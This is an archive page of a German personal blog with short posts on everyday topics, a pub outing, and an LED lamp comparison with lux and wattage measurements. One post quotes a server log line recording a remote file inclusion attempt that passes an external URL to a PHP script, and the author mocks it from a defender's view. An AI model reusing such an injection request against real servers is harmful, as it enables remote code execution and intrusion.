Wer einen Blog oder ähnliches sein Eigen nennt kann sich bei United-Domains nun eine etwas andere Weltkarte sichern: Neben den üblichen Erdkonturen finden sich dort die TLDs der jeweiligen Länder. Die Karte ist 120x60cm groß und kostet lediglich einen Link auf die Aktion. Die Kollegen von Rhein-Blogger haben auch mitgemacht, inzwischen halten die Ersten offenbar ihre Karte in den Händen – handelt sich also nicht um einen reinen Marketing-Gag. Mehr Infos gibts auf der Aktionsseite bei UD.
Archiv der Kategorie: Restmüll
Alles, was sonst nicht passt
Kommunikative Inkompetenzen
Offenbar gibt es nicht nur Grippewellen, sondern auch Wellen kommunikativer Inkompetenz – momentan scheint wieder eine Unterwegs zu sein. Log ging es mit einem Entwicklerstreit bei einem Softwareprojekt, welches ich gerne und häufig einsetze. Auslöser waren „persönliche Differenzen“ zwischen zwei der aktivsten Entwickler, an dessem Ende sich einer der Personen vom Projekt verabschiedete. Ich kenne natürlich die Hintergründe nicht, aber wegen Streitereien mit einem Entwickler ein komplettes Projekt aufgeben? Die Ankündigung seines Rücktritts löste im Forum eine nicht gerade freundliche Diskussion aus, welche einen weiteren aktiven Kopf zum Rückzug bewegte. Seltsam, ich dachte immer erwachsene Menschen, vorallem IT-Personen, hätten die Gabe Probleme logisch zu analysieren und konstruktiv zu lösen und nicht solch eine Schlammschlacht zu veranstalten.
Aber auch an den nicht virtuellen Ecken sieht es nicht besser aus. Da wird hinter dem Rücken von Anderen über jene geredet und sich dann gewundert, wenn die betroffene Person es am Ende doch mitbekommt und einen entsprechenden Aufstand macht. Es werden Fehler anderer überall breit getreten – natürlich nur wenn diese es nicht mitbekommt. Hallo – wenn Jemand ein Problem mit einer Person hat sollte man es ihr klar ins Gesicht sagen – das mag fürs erste mehr Zoff bedeuten, schont auf lange Sicht aber einiges an Nerven.
Ich hab wohl Fans…
Auf meinen Server liegt so einiges an altem Zeugs rum – Personen, welche ich mal gesponsored habe, Accounts die von ehemaligen Co-Admins angelegt wurden etc. In meiner Inbox fand sich nun eine Anfrage und ich musste doch etwas schmunzeln…
Hallo Herr Florian Knodt,
ich als begeisterter und zufriedener Kunde von Yotaweb würde gerne ein Angebot erhalten, welches ich im Auftrag des **** einholen möchte.
…
Ich bitte aufgrund dieser Informationen um eine Kostenaufstellung und ggf. ein Gespräch.
Tja, dumm, dass sich meine Bemühungen bezüglich einer Firma Yotaweb (o.Ä.) ständig nach hinten verschieben.
BSG @ UN
Battlestar Galactica beschäftigt sich in der Serie häufiger auch mit ethischen Problemen, so wundert es nicht, dass die UN einige Schauspieler der Serie zu einer Diskussionsrunde geladen hatte. Mit dabei Edward James Olmos (aka. Admiral Adama) – und er ergiff direkt die Gelegenheit um – in guter, alter, adamerscher Vortragsart – den Zuschauern im UN-Gebäude zu erklären, dass es nur eine menschliche Rasse gibt – So say we all…
Warum man Updates nicht schleifen lassen sollte
Total: 307 packages (270 upgrades, 12 new, 4 in new slots, 21 reinstalls, 4 uninstalls), Size of downloads: 1,130,256 kB
Am Tisch, unterm Tisch, aufm Tisch
Hui, doch schon was her, dass ich über uns Freaks geschrieben habe. Unser Besuch im Dreams, das Currywurstfest und die Schlittentour sind nur in der Gallery zu finden. Heute Nachmittag kam dann, wie immer recht sponan, die Idee in Andernach einzufallen. Treffen 20:30 vorm „Diebels“ – nur da war Keiner. Dieses mal sogar im doppelten Sinne: Dass der „Rest“ gerne mal später kommt als angekündigt ist nichts neues, aber auch im Diebels herrschte gähnende Leere – lediglich die Kellnerin hatte sich an der Theke eingefunden. Nunja, erst mal sicherten Fahrer Thomas und ich eine passende Sitzgelegenheit und orderten die ersten Flüssigwaren. Kurz darauf trafen dann auch Andrea, Heike, Tina, Chris W. und Tristan ein, dicht gefolgt von Mine und schlussendlich dem Rest der Damenrunde. Inzwischen hatten sich schon ein paar Gäste eingefunden und langsam kam Stimmung ins Lokal – bis zu einem Punkt: Nach den ersten Bieren und dem Abendessen hatte Christian die großartige Idee einer Wette. Grob gesagt ging es darum, dass er zu der eher pop-lastigen Musik auf dem Tisch tanzt, wenn Freundin Heike ihr Oberteil hochzieht. Tja, sie tat es (kein Wunder, hatte ja auch noch ein T-Shirt drunter). Mit entsprechender Unterstützung der Anwesenden sowie Aufforderung des DJs legte Chris sodann eine Koreographie auf den Tisch, welche jede Boy-Band blass aussehen ließ. Nun gabs kein Halten mehr. Während die Musik (zu meinem Leidwesen) mit steigender Besucherzahl vom Rock in die Karnevalsmusik wechselte wurden die Bierdeckel voller, die Bänke zur Tanzfläche umfunktioniert und während Andrea, Heike, Chris und Thomas zu „Cotton-Eyed Joe“ die Durchgänge blockierten versuchte sich Mine unterm Tisch mit dem Reparieren von Laufmaschen. Dass u.A. Chris in den folgenden Stunden auch zu den Backstreet-Boys sang und tanzte soll ich nicht erwähnen. Nachdem die Bedienung am Ende unsere Deckelsammlung irgendwie verwurschtelt hatte gings für Andrea, Heike, Tina, Chris, Thomas und mich abschließend zum obligatorischem McDonalds-Besuch – btw, liebe Tina: Auf die Frage „Ist da noch wer drin?“ antworten Burger eher selten mit einem „Ja, hier“.
LED-Benchmark: Kampf der Dioden
Bereits seit einigen Wochen werkelt in meinem Wohnbereich eine LED-Lampe. Heut ist nun das zweite Modell für meinen Arbeitsbereich eingetroffen. Hier ein kleiner Vergleich.
Anfangen werde ich mit den Daten der „Wohn-Lampe“. Es handelt sich um ein 230V-Modell mit E14-Sockel und 78 LEDs, welche für ca. 16EUR bei einem großen Elektroversand bestellt werden kann. Im Shop findet sich keine Typenangabe, über die Verpackung lässt sich aber der Vertreiber samt Datenblatt ermitteln.
Die „Arbeits-Lampe“ ist ein Modell mit nur einer Hochleistungsdiode. Das Gehäuse fungiert als Kühlkörper. In der Ausführung mit E28-Sockel und einem Spannungsbereich von 85-265V ist sie über einen Onlineshop aus Hongkong für umgerechnet 11,50EUR incl. Versand erhältlich. Das „Datenblatt“ des Pappkartons ist mit Kuli ausgefüllt und enthält nur eine Hand voll Daten.
Übersicht der Herstellerangaben:
Bezeichnung | Wohn-Lampe | Arbeits-Lampe |
---|---|---|
Hersteller/Vertreiber | LEDGalaxy | ?? |
Modell | JDR-1478-W | ZV1-1? (Unleserlich) |
LEDs | 78 | 1 |
Farbe | Weiß (6500°-8000°K) | Weiß |
Leistung | 2,5-3W | 3W |
Spannung | 230V | 85-265V |
Sockel | E14 | E28 |
Optisch fällt direkt auf, dass das Arbeits-Modell trotz des größeren Sockels durch die 1-LED-Technik deutlich kompakter ist. Das Wohn-Modell war Dank 63mm Durchmesser ohne Modifikation der Fassung nicht nutzbar. Dafür ist die Abwärme des 78er Modells geringer. Während diese Lampe auch nach längerem Betrieb lediglich Handwarm wird kann der Kühlkörper samt LED mit einem stark belastetem Notebook-Netzteil mithalten und ist knapp unter der „Zu warm zum festhalten“-Grenze.
Es folgen einige meiner Messwerte – diese sind nicht unter Laborbedingungen angefertigt […blabla…] aber sollten eine grobe Abschätzung zulassen.
Bezeichnung | Wohn-Lampe | Arbeits-Lampe |
---|---|---|
Lichtstärke 1m Abstand, frontal |
100Lux | 800Lux |
Lichtstärke 1m Abstand, 10° |
85Lux | 35Lux |
Lichtstärke 1m Abstand, 20° |
70Lux | 15Lux |
Verbrauch 30 Sekunden nach Einschalten |
6,0W | 3,2W |
Wie man sieht kann die Wohn-Lampe die angegebenen 45° ausspielen und sorgt auch in den Randbereichen für eine respektable Ausleuchtung. Das Streu-Licht einer Reflektorlampe kann sie nicht ersetzen, dagegen hält der Verbrauch von 6W – ob man nun eher auf Ausleuchtung oder Verbrauch schaut muss man selbst entscheiden. Ich habe zur Sicherheit neben der LED, welche als normale Durchgangs- und Lesebeleuchtung ausreichend ist, eine zusätzliche Leuchtstofflampe, welche bei Besuch o.Ä. genutzt werden kann.
Die Arbeitslampe hat exakt einen Anwendungsbereich: Punktuelle Ausleuchtung. Hier dürfte sie mit über 800Lux die meisten Glühlampen übertrumpfen. Ebenso deutlich wie die frontale Lichtstärke ist auch der Einbruch der selbigen in den Randbereichen – für Räume definitiv ungeeignet. Dafür wird der Verbrauch mit etwas über 3W nochmal halbiert. Dem Angegeben Spannungsbereich zu Urteilen könnte bei 110V sogar eine noch bessere Effizienz drin sein. Für die Beleuchtung meiner Bastelecke ist die Lampe kein Fehlgriff – das Licht Trifft präzise wie im OP auf meine Steckbretter.
Heute im Angebot: Mailrouter
Bei einigen Fehlermeldungen muss man schon schmunzeln…
[…]er hat einen Mailrouter bekommen[…]Was können wir nun da machen?
Eventuell lässt sich der Mailrouter ja bei gebraucht eBay verkaufen, ansonsten übernehme ich in solchen Fällen die Eliminierung des „Routers“ gegen einen kleinen Obulus in Form einer SMTP-Fehlermeldung…
Got an error.php?
Wird ja immer kreativer hier… Soeben schleicht sich folgende Zeile ins Log:
"GET /files/tools/****/errors.php?error=http://***.com.ar/images/idia.jpg??? HTTP/1.1" 404 319 "-" "libwww-perl/5.79"
Hinter dem JPEG verbirgt sich ein PHP-Quelltext, welcher mit
echo "NigeriaN HackerS TeaM";
endet
Netter Versuch, aber blind Dateien per $_GET includen hat sich selbst mein Azubi abgewöhnt und register_globals habe ich seit Jahren nirgendwo mehr aktiv gesehen. Dummerweise ist die Whois-Datenbank für .com.ar momentan down, sonst hätte ichs mal beim Provider versucht. So bleibt mir nur es MkSwap gleich zu tun und dem NHT einen schönen Tag zu wünschen…
Suchtstoffe im Shampoo?
Der ÖPNV entpuppt sich in Kombination mit Langeweile wieder als perfekter Platz für Verhaltensstudien. Heutiges „Opfer“ war eine jüngere Person, Haare etwas länger als Schulter. Aufgefallen war die Person, da sie auffällig oft die nicht vorhandene Frisur richten musste. Wie gesagt, Langeweile, daher mal mitgezählt: Die maximale Zeitspanne einer Hand-Haar-Abstinenz lag bei ganzen 14 Sekunden – Respekt…